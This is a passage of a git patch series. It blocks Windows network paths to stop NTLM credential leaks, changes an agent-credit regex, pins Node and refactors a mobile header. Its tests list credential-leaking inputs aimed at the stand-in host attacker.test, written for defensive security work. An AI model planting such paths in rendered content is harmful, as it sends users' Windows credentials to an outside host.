expect(result.contents).toBe("beside the target\n"); + }), + ); + it.effect.skipIf(!symlinksSupported)( "rejects symlinks that resolve outside the workspace root", () => diff --git a/apps/server/src/workspace/WorkspaceFileSystem.ts b/apps/server/src/workspace/WorkspaceFileSystem.ts index ec18f675aae0..4e7c81404256 100644 --- a/apps/server/src/workspace/WorkspaceFileSystem.ts +++ b/apps/server/src/workspace/WorkspaceFileSystem.ts @@ -13,6 +13,7 @@ import type { } from "@t3tools/contracts"; import { expandHomePath } from "@t3tools/provider-core/server/pathExpansion"; import * as HostProcess from "@t3tools/shared/HostProcess"; +import { isNetworkPath } from "@t3tools/shared/path"; import * as Context from "effect/Context"; import * as Effect from "effect/Effect"; import * as FileSystem from "effect/FileSystem"; @@ -142,7 +143,9 @@ export const make = Effect.gen(function* () { const metadataForPath = Effect.fnUntraced(function* (requestedPath: string) { const expandedPath = expandHomePath(requestedPath, yield* HostProcess.HomeDirectory); - if (!path.isAbsolute(expandedPath)) return null; + // Chips ask as soon as an agent's message renders, and touching a network + // path makes Windows sign in to its host with the user's NTLM credentials. + if (!path.isAbsolute(expandedPath) || isNetworkPath(expandedPath)) return null; const stat = yield* fileSystem.stat(expandedPath).pipe(Effect.option); if (stat._tag === "None") return null; if (stat.value.type === "Directory") return { kind: "directory" } as const; @@ -222,7 +225,8 @@ export const make = Effect.gen(function* () { /** * Workspace-relative paths must stay inside the root, symlinks included. An * absolute or `~/` path reads a host file in place, such as a report an agent - * wrote to a temp directory; it gets no root check. + * wrote to a temp directory; it gets no root check. A network path does, since + * Windows signs in to its host with the user's NTLM credentials. */ const resolveReadTarget = Effect.fn("WorkspaceFileSystem.resolveReadTarget")(function* ( input: ProjectReadFileInput, @@ -231,15 +235,28 @@ export const make = Effect.gen(function* () { const hostPath = requestedPath.startsWith("~/") ? expandHomePath(requestedPath, yield* HostProcess.HomeDirectory) : requestedPath; + if ( + isNetworkPath(hostPath) && + !KnownWorkspaces.isWithinRoot(path, path.resolve(hostPath), path.resolve(input.cwd)) + ) { + return yield* new WorkspacePaths.WorkspacePathOutsideRootError({ + workspaceRoot: input.cwd, + relativePath: input.relativePath, + }); + } if (path.isAbsolute(hostPath)) { + // Native realpath hands Windows a `\\?\` path as written, `..` included, + // so a network path must be the resolved one the check above approved. + // Others keep POSIX `link/..` semantics, which resolving first would change. + const absolutePath = isNetworkPath(hostPath) ? path.resolve(hostPath) : hostPath; const realTargetPath = yield* Effect.tryPromise({ - try: () => NodeFSP.realpath(hostPath), + try: () => NodeFSP.realpath(absolutePath), catch: (cause) => new WorkspaceFileSystemOperationError({ workspaceRoot: input.cwd, relativePath: input.relativePath, - resolvedPath: hostPath, - operationPath: hostPath, + resolvedPath: absolutePath, + operationPath: absolutePath, operation: "realpath-target", cause, }), diff --git a/apps/server/src/ws.ts b/apps/server/src/ws.ts index 763365ceeddc..1ba4ff99ff64 100644 --- a/apps/server/src/ws.ts +++ b/apps/server/src/ws.ts @@ -246,6 +246,7 @@ import * as VcsProjectConfig from "./vcs/VcsProjectConfig.ts"; import * as PairingGrantStore from "./auth/PairingGrantStore.ts"; import * as SessionStore from "./auth/SessionStore.ts"; import { failEnvironmentAuthInvalid, failEnvironmentInternal } from "./auth/http.ts"; +import { isNetworkPath } from "@t3tools/shared/path"; import * as RelayClient from "@t3tools/shared/relayClient"; import { isTelemetryIdHash } from "@t3tools/shared/telemetryId"; import { @@ -2721,7 +2722,10 @@ export const layerWsRpc = ( input.resource._tag === "native-app-icon" || input.resource._tag === "tool-output-image" || input.resource._tag === "github-media" || - (input.resource._tag === "media-file" && path.isAbsolute(input.resource.path)) + // A network path is served only from the thread's project, looked up below. + (input.resource._tag === "media-file" && + path.isAbsolute(input.resource.path) && + !isNetworkPath(input.resource.path)) ) { return yield* issueAssetUrl({ resource: input.resource }); } diff --git a/apps/web/src/hooks/useFileMetadata.ts b/apps/web/src/hooks/useFileMetadata.ts index bc5940410ce3..497cc67d989e 100644 --- a/apps/web/src/hooks/useFileMetadata.ts +++ b/apps/web/src/hooks/useFileMetadata.ts @@ -1,6 +1,10 @@ import { AuthFilesystemReadScope, type EnvironmentId } from "@t3tools/contracts"; import { resolvePathLinkTarget, splitFilePathPosition } from "@t3tools/shared/fileLinks"; -import { normalizeProjectPathForComparison, isAbsolutePath } from "@t3tools/shared/path"; +import { + isAbsolutePath, + isNetworkPath, + normalizeProjectPathForComparison, +} from "@t3tools/shared/path"; import { useContext } from "react"; import { useEnvironmentScope } from "../state/session"; @@ -21,7 +25,9 @@ export function useFileMetadata( ); const absolute = isAbsolutePath(targetPath) || targetPath.startsWith("~/"); return useEnvironmentQuery( - environmentId && canRead && absolute && targetPath.length <= 512 + // Servers stat what they are asked about, and a network path leaks the + // Windows user's NTLM credentials to its host before any chip is clicked. + environmentId && canRead && absolute && !isNetworkPath(targetPath) && targetPath.length <= 512 ? projectEnvironment.fileMetadata({ environmentId, input: { diff --git a/packages/client-runtime/src/markdownImages.test.ts b/packages/client-runtime/src/markdownImages.test.ts index 039eb75345cf..b34c8bce39d3 100644 --- a/packages/client-runtime/src/markdownImages.test.ts +++ b/packages/client-runtime/src/markdownImages.test.ts @@ -11,7 +11,7 @@ describe("classifyMarkdownImageSource", () => { "C:\\Users\\dara\\project\\images\\result.png", ], ["file:///workspace/project/image%20one.png", null, "/workspace/project/image one.png"], - ["file://server/share/image.png", null, "\\\\server\\share\\image.png"], + ["file://server/share/image.png", "\\\\server\\share", "\\\\server\\share\\image.png"], ])("maps %s to a workspace file", (source, workspaceRoot, path) => { expect(classifyMarkdownImageSource(source, workspaceRoot)).toEqual({ _tag: "WorkspaceFile", @@ -25,4 +25,17 @@ describe("classifyMarkdownImageSource", () => { expect(classifyMarkdownImageSource(source)).toEqual({ _tag: "Blocked" }); }, ); + + // Loading these makes Windows send the user's NTLM credentials to the named host. + it.each([ + "file://attacker.test/share/cat.jpg", + "\\\\attacker.test\\share\\cat.jpg", + "/\\attacker.test\\share\\cat.jpg", + "file:/%5Cattacker.test%5Cshare%5Ccat.jpg", + "\\\\server\\other\\cat.jpg", + ])("blocks network path %s outside the project", (source) => { + expect(classifyMarkdownImageSource(source, "\\\\server\\share\\project")).toEqual({ + _tag: "Blocked", + }); + }); }); diff --git a/packages/client-runtime/src/markdownImages.ts b/packages/client-runtime/src/markdownImages.ts index 55e597f4d3c2..924220ec27ce 100644 --- a/packages/client-runtime/src/markdownImages.ts +++ b/packages/client-runtime/src/markdownImages.ts @@ -1,4 +1,9 @@ -import { isWindowsAbsolutePath, stripSlashPrefixedWindowsDrive } from "@t3tools/shared/path"; +import { + isNetworkPath, + isWindowsAbsolutePath, + stripSlashPrefixedWindowsDrive, + workspaceRelativeFilePath, +} from "@t3tools/shared/path"; import { normalizeMarkdownLinkDestination, @@ -26,6 +31,16 @@ function joinWorkspacePath(workspaceRoot: string, relativePath: string): string return `${root}${separator}${path}`; } +/** Rendering is not a click, so a network path loads only from the project's own share. */ +function hostFileSource( + path: string, + workspaceRoot: string | null | undefined, +): MarkdownImageSource { + return isNetworkPath(path) && workspaceRelativeFilePath(path, workspaceRoot) === null + ? { _tag: "Blocked" } + : { _tag: "WorkspaceFile", path }; +} + /** * Filesystem paths belong to the environment host and must never reach a * browser or native image component without first becoming a signed asset URL. @@ -48,10 +63,10 @@ export function classifyMarkdownImageSource( const target = parseFileUrlHref(source); return target === null ? { _tag: "Blocked" } - : { - _tag: "WorkspaceFile", - path: stripSlashPrefixedWindowsDrive(safeDecodeURIComponent(target.path)), - }; + : hostFileSource( + stripSlashPrefixedWindowsDrive(safeDecodeURIComponent(target.path)), + workspaceRoot, + ); } const path = stripSlashPrefixedWindowsDrive( @@ -59,7 +74,7 @@ export function classifyMarkdownImageSource( ); if (path.length === 0) return { _tag: "Blocked" }; if (path.startsWith("/") || isWindowsAbsolutePath(path)) { - return { _tag: "WorkspaceFile", path }; + return hostFileSource(path, workspaceRoot); } if (URI_SCHEME_PATTERN.test(path) || path.startsWith("~/") || path.startsWith("~\\")) { return { _tag: "Blocked" }; diff --git a/packages/client-runtime/src/mediaSource.test.ts b/packages/client-runtime/src/mediaSource.test.ts index 612008c5be56..1b46b463a83d 100644 --- a/packages/client-runtime/src/mediaSource.test.ts +++ b/packages/client-runtime/src/mediaSource.test.ts @@ -35,7 +35,6 @@ describe("resolveMediaSource", () => { it.each([ ["/tmp/frame%23one.png:12", "/tmp/frame#one.png"], ["/tmp/frame%2523one.png:12", "/tmp/frame%23one.png"], - ["file://server/share/frame.png", "\\\\server\\share\\frame.png"], ])("resolves %s through the environment", (href, path) => { expect(resolveMediaSource(href, { threadId, workspaceRoot: "/repo" })).toEqual({ kind: "image", diff --git a/packages/shared/src/markdownLinks.test.ts b/packages/shared/src/markdownLinks.test.ts index 01d9192e17e5..8693a8d7af4e 100644 --- a/packages/shared/src/markdownLinks.test.ts +++ b/packages/shared/src/markdownLinks.test.ts @@ -126,10 +126,15 @@ describe("resolveMarkdownFileLinkTarget", () => { ); }); - it("resolves file uri authorities as windows UNC paths", () => { - expect(resolveMarkdownFileLinkTarget("file://server/share/workspace-image.svg")).toBe( + it("links a network path only inside the project's share", () => { + const cwd = "\\\\server\\share"; + expect(resolveMarkdownFileLinkTarget("file://server/share/workspace-image.svg", cwd)).toBe( "\\\\server\\share\\workspace-image.svg", ); + // Opening these sent the Windows user's NTLM credentials to attacker.test. + for (const href of ["file://attacker.test/s/x.ts", "\\\\attacker.test\\s\\x.ts"]) { + expect(resolveMarkdownFileLinkTarget(href, cwd)).toBeNull(); + } }); it("keeps an encoded final space in the absolute target", () => { diff --git a/packages/shared/src/markdownLinks.ts b/packages/shared/src/markdownLinks.ts index 6e985ccdb0fe..a0195a84749b 100644 --- a/packages/shared/src/markdownLinks.ts +++ b/packages/shared/src/markdownLinks.ts @@ -1,4 +1,9 @@ -import { isWindowsAbsolutePath, stripSlashPrefixedWindowsDrive } from "./path.ts"; +import { + isNetworkPath, + isWindowsAbsolutePath, + stripSlashPrefixedWindowsDrive, + workspaceRelativeFilePath, +} from "./path.ts"; import { type FilePathPosition, formatFilePathPosition, @@ -391,7 +396,13 @@ export function resolveMarkdownFileLinkTarget( if (!target) return null; const pathWithPosition = formatFilePathPosition(target); - if (!isRelativeFilePath(pathWithPosition)) return pathWithPosition; + if (!isRelativeFilePath(pathWithPosition)) { + // Opening a network path makes Windows sign in to its host with the user's + // NTLM credentials, so only the project's own share becomes a file link. + return isNetworkPath(target.path) && workspaceRelativeFilePath(target.path, cwd) === null + ? null + : pathWithPosition; + } if (!baseDir) return null; return resolvePathLinkTarget(pathWithPosition, baseDir); } diff --git a/packages/shared/src/path.ts b/packages/shared/src/path.ts index ba06f352cb14..23a8cf3c6d40 100644 --- a/packages/shared/src/path.ts +++ b/packages/shared/src/path.ts @@ -6,6 +6,15 @@ export function isUncPath(value: string): boolean { return value.startsWith("\\\\"); } +/** + * Windows treats `/` and `\` alike, so any two leading separators name a UNC + * or device path. Touching one makes Windows sign in to that host with the + * user's NTLM credentials, so agent-authored paths must not reach one. + */ +export function isNetworkPath(value: string): boolean { + return /^[\\/]{2}/.test(value); +} + export function isWindowsAbsolutePath(value: string): boolean { return isUncPath(value) || isWindowsDrivePath(value); } From b5a226e49c52ecab4ddc2d678a7012d97e651a6a Mon Sep 17 00:00:00 2001 From: MarcoDotIO Date: Wed, 21 Oct 2026 19:06:41 -0400 Subject: [PATCH 086/130] fix(source-control): merge messages drop Claude Code's current claude.com footer (#23133) Co-authored-by: Claude Opus 5.5 --- .../src/server/mergeMessage.test.ts | 14 ++++++++++++++ .../source-control-core/src/server/mergeMessage.ts | 2 +- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/packages/source-control-core/src/server/mergeMessage.test.ts b/packages/source-control-core/src/server/mergeMessage.test.ts index 299bcb3b4451..0151f09a5c09 100644 --- a/packages/source-control-core/src/server/mergeMessage.test.ts +++ b/packages/source-control-core/src/server/mergeMessage.test.ts @@ -21,6 +21,20 @@ describe("removeAgentCredits", () => { ).toBe("Details about Claude support.\n\n\nCo-authored-by: Alice "); }); + it("removes the footer Claude Code writes today, which links to claude.com", () => { + expect( + removeAgentCredits( + [ + "Details", + "", + "🤖 Generated with [Claude Code](https://claude.com/claude-code)", + "", + "Co-Authored-By: Claude ", + ].join("\n"), + ), + ).toBe("Details"); + }); + it("preserves unknown identities, humans named after agents, and ordinary prose", () => { const message = [ "Co-authored-by: Claude ", diff --git a/packages/source-control-core/src/server/mergeMessage.ts b/packages/source-control-core/src/server/mergeMessage.ts index 8c95ddb44148..159c074260cd 100644 --- a/packages/source-control-core/src/server/mergeMessage.ts +++ b/packages/source-control-core/src/server/mergeMessage.ts @@ -42,7 +42,7 @@ export function removeAgentCredits(message: string): string { AGENT_EMAILS.has(email) && (email !== "noreply@github.com" || /^github copilot$|^copilot$/i.test(author![1]!)); const footer = text.replace( - /\[([^\]]+)\]\(https:\/\/(?:claude\.ai|www\.anthropic\.com|chatgpt\.com|openai\.com|cursor\.com|github\.com|opencode\.ai|x\.ai|antigravity\.google)(?:\/[^\s)]*)?\)/gi, + /\[([^\]]+)\]\(https:\/\/(?:claude\.ai|claude\.com|www\.anthropic\.com|chatgpt\.com|openai\.com|cursor\.com|github\.com|opencode\.ai|x\.ai|antigravity\.google)(?:\/[^\s)]*)?\)/gi, "$1", ); if (!agentAuthor && !GENERATED_BY_AGENT.test(footer)) return true; From ed9b7ca9c53843ea1e6b466bf7d52928d10e7db0 Mon Sep 17 00:00:00 2001 From: Alex Date: Wed, 21 Oct 2026 17:16:00 -0700 Subject: [PATCH 087/130] fix(build): pin Node 26.12.1 for development and standalone releases (#23165) --- .github/workflows/release-desktop.yml | 11 +++-------- apps/server/scripts/cli.ts | 3 ++- apps/server/vite.config.ts | 10 ++++++++-- docs/operations/release.md | 2 +- package.json | 2 +- 5 files changed, 15 insertions(+), 13 deletions(-) diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml index 65cfa08321c8..516a0a7785a9 100644 --- a/.github/workflows/release-desktop.yml +++ b/.github/workflows/release-desktop.yml @@ -253,18 +253,13 @@ jobs: if [[ "${{ inputs.version }}" =~ -nightly\.[0-9]{8}\.[0-9]+$ ]]; then brand=nightly; fi node scripts/apply-web-brand-assets.ts "$brand" apps/server/dist/client - # The single-executable is built with a Node that supports --build-sea - # (25.7+); the repo itself stays on the engines.node version. A native - # build injects into the runner's own Node; a Windows target downloads its - # node.exe. + # Setup Vite+ selects the exact engines.node version from package.json. + # Native builds embed that executable; cross-target builds download the + # same version for their target. - name: Build CLI single-executable if: inputs.cli_archive shell: bash env: - # The exact version, not a major: vp downloads it from nodejs.org/dist on - # the runner, and only exact versions have a dist directory. Keep in - # step with SEA_NODE_VERSION in apps/server/vite.config.ts. - VP_NODE_VERSION: "26.8.2" # The executable bundles the server again, so it needs the same stamp # as release.yml's JS bundle. T3CODE_TELEMETRY_CHANNEL: ${{ github.repository == 'pingdotgg/t3code' && inputs.release_channel || 'dev' }} diff --git a/apps/server/scripts/cli.ts b/apps/server/scripts/cli.ts index fca0adeb690c..b8b47c2b2e87 100644 --- a/apps/server/scripts/cli.ts +++ b/apps/server/scripts/cli.ts @@ -11,6 +11,7 @@ import { ChildProcess, ChildProcessSpawner } from "effect/process"; import { DEVELOPMENT_ICON_OVERRIDES } from "../../../scripts/lib/brand-assets.ts"; import { findEsmImportsOfExternalPackages } from "../../../scripts/lib/cli-executable-imports.ts"; +import rootPackageJson from "../../../package.json" with { type: "json" }; import { resolveSpawnCommand } from "@t3tools/shared/shell"; import { ServerCliBuildAssetMissingError, @@ -149,7 +150,7 @@ const buildExeCmd = Command.make( }), ).pipe( Command.withDescription( - "Build the server as a Node single-executable (needs a Node 25.7+ host for --build-sea). The binary still resolves native packages from a node_modules tree beside it.", + `Build the server as a Node single-executable. Native builds require Node ${rootPackageJson.engines.node}; explicit cross-target builds need a Node 25.7+ host for --build-sea. The binary still resolves native packages from a node_modules tree beside it.`, ), ); diff --git a/apps/server/vite.config.ts b/apps/server/vite.config.ts index 57549bec067f..92ad8e9083c3 100644 --- a/apps/server/vite.config.ts +++ b/apps/server/vite.config.ts @@ -3,6 +3,7 @@ import { defineConfig, mergeConfig } from "vite-plus"; import baseConfig from "../../vite.config.ts"; import { loadRepoEnv } from "../../scripts/lib/public-config.ts"; +import rootPackageJson from "../../package.json" with { type: "json" }; import packageJson from "./package.json" with { type: "json" }; import { WeightedShardSequencer } from "./src/testUtils/weightedShardSequencer.ts"; @@ -34,7 +35,6 @@ if (!TELEMETRY_CHANNELS.includes(telemetryChannel)) { // executable needs a host Node that supports `--build-sea` (25.7+), so this is // a separate mode rather than a second entry in the default build. const packExecutable = process.env.T3CODE_PACK_EXE === "1"; -const SEA_NODE_VERSION = "26.8.2"; const SEA_TARGETS = { "darwin-arm64": { platform: "darwin", arch: "arm64" }, "darwin-x64": { platform: "darwin", arch: "x64" }, @@ -44,6 +44,12 @@ const SEA_TARGETS = { "win-x64": { platform: "win", arch: "x64" }, } as const; const packExecutableTarget = process.env.T3CODE_PACK_EXE_TARGET?.trim(); +const cliNodeVersion = rootPackageJson.engines.node; +if (packExecutable && !packExecutableTarget && process.versions.node !== cliNodeVersion) { + throw new Error( + `Native CLI executables must be built with Node ${cliNodeVersion}; running ${process.versions.node}.`, + ); +} if (packExecutableTarget && !Object.hasOwn(SEA_TARGETS, packExecutableTarget)) { throw new Error( `T3CODE_PACK_EXE_TARGET must be one of ${Object.keys(SEA_TARGETS).join(", ")}, got "${packExecutableTarget}".`, @@ -53,7 +59,7 @@ const packExecutableTargets = packExecutableTarget ? [ { ...SEA_TARGETS[packExecutableTarget as keyof typeof SEA_TARGETS], - nodeVersion: SEA_NODE_VERSION, + nodeVersion: cliNodeVersion, }, ] : undefined; diff --git a/docs/operations/release.md b/docs/operations/release.md index c6725efdcdad..a55643e4ef34 100644 --- a/docs/operations/release.md +++ b/docs/operations/release.md @@ -44,7 +44,7 @@ the version. - Includes Electron auto-update metadata (for example `latest*.yml`, `nightly*.yml`, and `*.blockmap`) in release assets. - Builds a self-contained CLI archive per platform (`t3---.tar.gz`, `.zip` on Windows) in the same job as that target's desktop artifact and attaches them to the GitHub Release with a `SHA256SUMS` file, on every channel, for five targets: macOS arm64, Linux x64 and arm64, Windows x64 and arm64. Every archive is smoke-tested on hardware of its own architecture, and every one but the Windows archives is also built and signed there. There is no macOS x64 archive: Node single-executables are unsupported on x64 macOS (the SEA docs list macOS as arm64 only) and the binary segfaults on start; the x64 desktop app is Electron and unaffected. - The archive holds the server as a Node single-executable (`scripts/build-cli-archive.ts`), so unpacking it needs neither Node, npm, nor a compiler. It is the only form in which T3 Code manages a runtime: the desktop's SSH environments, the boot service, `t3 update`, and the install scripts all download and verify this archive against `SHA256SUMS`. The `t3` npm package exists for people who run `npx t3` or `npm install -g t3` themselves, and it downloads this same archive too; nothing in the product installs from npm. The `curl | sh` installers are `scripts/install.sh` and `scripts/install.ps1`; the marketing site copies them into its `public/` at build time (`apps/marketing/scripts/stage-install-scripts.mjs`) and serves them at `t3.codes/install.sh` and `/install.ps1`. - - The executable is built with a Node that supports `--build-sea` (`VP_NODE_VERSION=26.8.2`, kept in step with `SEA_NODE_VERSION` in `apps/server/vite.config.ts`), while the repo stays on `engines.node`. + - The root `package.json` pins `engines.node` to the exact Node version used by development, CI and standalone executables. Keep it exact: cross-target builds download that version, and native executable builds reject a different host Node version. Runtime changes need a new T3 release version because installed runtimes are cached by that version. - macOS archives are signed with the Developer ID certificate and notarized when the Apple secrets are present (ad hoc otherwise, which still runs from `curl`/`tar` installs). Windows executables use the same Azure Trusted Signing setup as the installer. Every native addon in the macOS archive is signed too, since the hardened runtime refuses unsigned libraries. - Each archive is extracted and executed (`scripts/smoke-cli-archive.ts`) on its build runner, or on the `verify_runner` for Windows. - After the GitHub Release is published, publishes the `t3` npm package with OIDC trusted publishing from the same workflow file. It is only a launcher (`scripts/npm-launcher/t3.mjs`): on first run it downloads its exact version's CLI archive from the GitHub Release, verifies it against `SHA256SUMS`, and unpacks it into `/runtime/versions/`, the layout the install scripts and `t3 update` share. The executables are not on npm. They used to be, as `@t3code/t3--` optional dependencies, but npm's publish-time scanning held those 80-250 MB packages back for up to an hour after the launcher was live, and every install in that window got a launcher with no executable. Those packages stay on npm at their old versions and get no new ones. Because the launcher reads from the release, `publish_cli` runs after `release`, never before. diff --git a/package.json b/package.json index be1f45d4f20c..348816fb0184 100644 --- a/package.json +++ b/package.json @@ -62,7 +62,7 @@ "vite-plus": "catalog:" }, "engines": { - "node": "^24.13.1" + "node": "26.12.1" }, "packageManager": "pnpm@12.14.0" } From 9cdd05926b28631fc201e5a3ba80648943834b44 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 17:58:47 -0700 Subject: [PATCH 088/130] fix(mobile): keep Duo toolbar actions clear of workspace tabs (#22976) Co-authored-by: Claude Opus 5.5 --- apps/mobile/src/features/home/HomeHeader.tsx | 241 +----------------- .../src/features/home/HomeHeader.types.ts | 1 - .../src/features/home/HomeRouteScreen.tsx | 1 - .../createWorkspaceStackNavigator.ios.tsx | 47 ++-- .../threads/sidebar-native-header-items.ts | 29 +-- .../threads/useThreadHeaderOptions.tsx | 25 +- .../workspace/WorkspaceRootScreen.tsx | 1 - .../workspace/WorkspaceToolbar.ios.tsx | 29 ++- apps/mobile/src/native/StackHeader.tsx | 2 - apps/mobile/src/native/V5StackHeader.ios.tsx | 85 +++--- 10 files changed, 121 insertions(+), 340 deletions(-) diff --git a/apps/mobile/src/features/home/HomeHeader.tsx b/apps/mobile/src/features/home/HomeHeader.tsx index b6203916dea1..2062c518afef 100644 --- a/apps/mobile/src/features/home/HomeHeader.tsx +++ b/apps/mobile/src/features/home/HomeHeader.tsx @@ -1,243 +1,8 @@ -import { Toolbar } from "../../components/ui/Toolbar"; -import { NativeStackScreenOptions } from "../../native/StackHeader"; -import { use, useCallback, useEffect, useRef } from "react"; -import { useNavigation, type ParamListBase } from "@react-navigation/native"; -import type { NativeStackNavigationProp } from "@react-navigation/native-stack"; -import { Platform } from "react-native"; -import type { SearchBarCommands } from "react-native-screens"; -import { NativePrimaryColumnContext } from "../../native/v5-workspace-context"; -import { useUniwindTheme } from "../../lib/useUniwindTheme"; -import { useHardwareKeyboardCommand } from "../keyboard/hardwareKeyboardCommands"; -import { withNativeGlassHeaderItem } from "../layout/native-glass-header-items"; -import { createNativeMailSearchToolbarItem } from "../layout/native-mail-search-toolbar"; -import { useNativeMailSearchToolbar } from "../../native/use-native-mail-search-toolbar"; -import { useDeviceType } from "../../native/native-layout-metrics"; -import { buildHomeListFilterMenu } from "./home-list-filter-menu"; -import { - createSidebarFilterHeaderItem, - createSidebarHeaderItems, -} from "../threads/sidebar-native-header-items"; import type { HomeHeaderProps } from "./HomeHeader.types"; -import { useAdaptiveWorkspaceLayout } from "../layout/AdaptiveWorkspaceLayout"; export type { HomeHeaderEnvironment } from "./HomeHeader.types"; -export function HomeHeader(props: HomeHeaderProps) { - const navigation = useNavigation>(); - const { layout, panes, togglePrimarySidebar } = useAdaptiveWorkspaceLayout(); - const usesNativeMailSearchToolbar = useNativeMailSearchToolbar(); - const deviceType = useDeviceType(); - const primaryColumn = use(NativePrimaryColumnContext); - const sidebarHeader = - Platform.OS === "ios" && - primaryColumn !== null && - (deviceType === "pad" || !usesNativeMailSearchToolbar); - const showsCompactCompose = deviceType === "pad" && !layout.usesSplitView; - const searchBarRef = useRef(null); - const focusAfterReveal = useRef(false); - useEffect( - () => - navigation.addListener("transitionEnd", (event) => { - if (focusAfterReveal.current && !event.data.closing) { - focusAfterReveal.current = false; - searchBarRef.current?.focus(); - } - }), - [navigation], - ); - const iconColor = useUniwindTheme()["--color-icon"]; - const hasCustomListOptions = - props.selectedEnvironmentId !== null || props.selectedProjectKey !== null; - const focusSearch = useCallback(() => { - if (primaryColumn && !panes.primarySidebarVisible) { - focusAfterReveal.current = true; - togglePrimarySidebar(); - return true; - } - searchBarRef.current?.focus(); - return searchBarRef.current !== null; - }, [primaryColumn, panes.primarySidebarVisible, togglePrimarySidebar]); - useHardwareKeyboardCommand("focusSearch", focusSearch); - const filterMenu = buildHomeListFilterMenu(props); - - if (props.usesWorkspaceToolbar) { - return deviceType === "duo-unfolded" ? ( - - ) : null; - } - - return ( - <> - - sidebarHeader - ? [ - ...createSidebarHeaderItems({ - filterIcon: hasCustomListOptions - ? "line.3.horizontal.decrease.circle.fill" - : "line.3.horizontal.decrease.circle", - filterMenu, - onOpenSettings: props.onOpenSettings, - }), - ...(showsCompactCompose - ? [ - withNativeGlassHeaderItem({ - accessibilityLabel: "New task", - axisBehavior: "horizontalOnly", - icon: { name: "square.and.pencil", type: "sfSymbol" } as const, - identifier: "home-new-task", - label: "", - onPress: props.onStartNewTask, - type: "button", - }), - ] - : []), - ] - : [ - withNativeGlassHeaderItem({ - accessibilityLabel: "Open settings", - icon: { name: "ellipsis", type: "sfSymbol" } as const, - identifier: "home-settings", - label: "", - onPress: props.onOpenSettings, - type: "button", - }), - ], - // The keys below are set per-branch (not `undefined`) so a later - // reapply cannot clobber options owned by Toolbar. - ...(sidebarHeader - ? { - headerSearchBarOptions: { - ref: searchBarRef, - autoCapitalize: "none" as const, - hideNavigationBar: false, - hideWhenScrolling: false, - obscureBackground: false, - placement: "stacked" as const, - allowToolbarIntegration: false, - placeholder: "Search", - onCancelButtonPress: () => props.onSearchQueryChange(""), - onChangeText: (event) => props.onSearchQueryChange(event.nativeEvent.text), - }, - unstable_headerToolbarItems: () => [], - } - : usesNativeMailSearchToolbar - ? { - headerSearchBarOptions: { - ref: searchBarRef, - autoCapitalize: "none" as const, - onCancelButtonPress: () => props.onSearchQueryChange(""), - }, - unstable_headerToolbarItems: () => [ - createNativeMailSearchToolbarItem({ - composeButtonId: "home-new-task", - composeSystemImageName: "square.and.pencil", - filterMenu, - filterButtonId: "home-filter", - filterSystemImageName: hasCustomListOptions - ? "line.3.horizontal.decrease.circle.fill" - : "line.3.horizontal.decrease", - onComposePress: props.onStartNewTask, - onSearchTextChange: props.onSearchQueryChange, - placeholder: "Search", - searchTextChangeId: "home-search-text", - showsSearchDismissButton: true, - }), - ], - } - : { - headerSearchBarOptions: { - ref: searchBarRef, - autoCapitalize: "none" as const, - hideNavigationBar: false, - placeholder: "Search", - onCancelButtonPress: () => { - props.onSearchQueryChange(""); - }, - onChangeText: (event) => { - props.onSearchQueryChange(event.nativeEvent.text); - }, - }, - }), - }} - /> - - {sidebarHeader || usesNativeMailSearchToolbar ? null : ( - - - - Environment - props.onEnvironmentChange(null)} - subtitle="Show threads from every environment" - > - All environments - - {props.environments.map((environment) => ( - props.onEnvironmentChange(environment.environmentId)} - > - {environment.label} - - ))} - - - {props.projects.length > 0 ? ( - - Project - props.onProjectChange(null)} - subtitle="Show threads from every project" - > - All projects - - {props.projects.map((project) => ( - props.onProjectChange(project.key)} - > - {project.label} - - ))} - - ) : null} - - - - - )} - - ); +/** The iOS thread list lives in the workspace, whose WorkspaceToolbar owns its header and search. */ +export function HomeHeader(_props: HomeHeaderProps) { + return null; } diff --git a/apps/mobile/src/features/home/HomeHeader.types.ts b/apps/mobile/src/features/home/HomeHeader.types.ts index 32648ef843a3..3c5f580f9eef 100644 --- a/apps/mobile/src/features/home/HomeHeader.types.ts +++ b/apps/mobile/src/features/home/HomeHeader.types.ts @@ -7,7 +7,6 @@ import type { export type HomeHeaderEnvironment = HomeListFilterMenuEnvironment; export interface HomeHeaderProps { - readonly usesWorkspaceToolbar?: boolean; readonly environments: ReadonlyArray; readonly projects: ReadonlyArray; readonly searchQuery: string; diff --git a/apps/mobile/src/features/home/HomeRouteScreen.tsx b/apps/mobile/src/features/home/HomeRouteScreen.tsx index 8ab642eb44fd..c0e2b8c8f595 100644 --- a/apps/mobile/src/features/home/HomeRouteScreen.tsx +++ b/apps/mobile/src/features/home/HomeRouteScreen.tsx @@ -228,7 +228,6 @@ export function HomeRouteScreen() { /> )} ; type Descriptor = ViewProps["descriptors"][string]; type Route = ViewProps["state"]["routes"][number]; +const isPullRequestRoute = (route: Route) => + route.name === "PullRequest" || + route.name === "PullRequestFile" || + route.name === "PullRequestFiles"; + function ColumnScreen(props: { readonly descriptor: Descriptor; readonly primary?: boolean; readonly selectedThreadKey?: string | null; readonly selectedPullRequestKey?: string | null; - readonly sidebarFilter?: NativeStackHeaderItemMenu; readonly onDismiss: (routeKey: string) => void; readonly onAppearance: (type: "willAppear" | "didAppear" | "willDisappear", key: string) => void; + readonly onCompose?: () => void; + readonly covered?: boolean; readonly navigation: ViewProps["navigation"]; }) { const { descriptor } = props; @@ -109,8 +115,9 @@ function ColumnScreen(props: { props.navigation.navigate("NewTaskSheet", { screen: "NewTask" }); + // The Duo keeps compose in the detail column's bar, which is its vertical bar in landscape + // and folded, so it sits with the column's other actions whichever screen is shown. Pull + // requests leave it out, including one opened from a thread; their bar is already full of + // review actions. + const detailCompose = + isDuoDevice(deviceType) && selectedTab !== "pullRequests" ? openNewTask : undefined; const inspector = use(NativeWorkspaceInspectorContext); const hostRef = useRef(null); const activeDetailKey = props.detail.at(-1)?.key; @@ -139,12 +155,7 @@ function WorkspaceColumns( const collapsed = useRef(!layout.usesSplitView); const collapsedColumn = useRef({ visible: compactColumn, leaving: null }); const threadParams = props.detail.findLast((route) => route.name === "Thread")?.params; - const pullRequestParams = props.detail.findLast( - (route) => - route.name === "PullRequest" || - route.name === "PullRequestFile" || - route.name === "PullRequestFiles", - )?.params; + const pullRequestParams = props.detail.findLast(isPullRequestRoute)?.params; const selectedPullRequestKey = pullRequestParams && "environmentId" in pullRequestParams && @@ -199,7 +210,6 @@ function 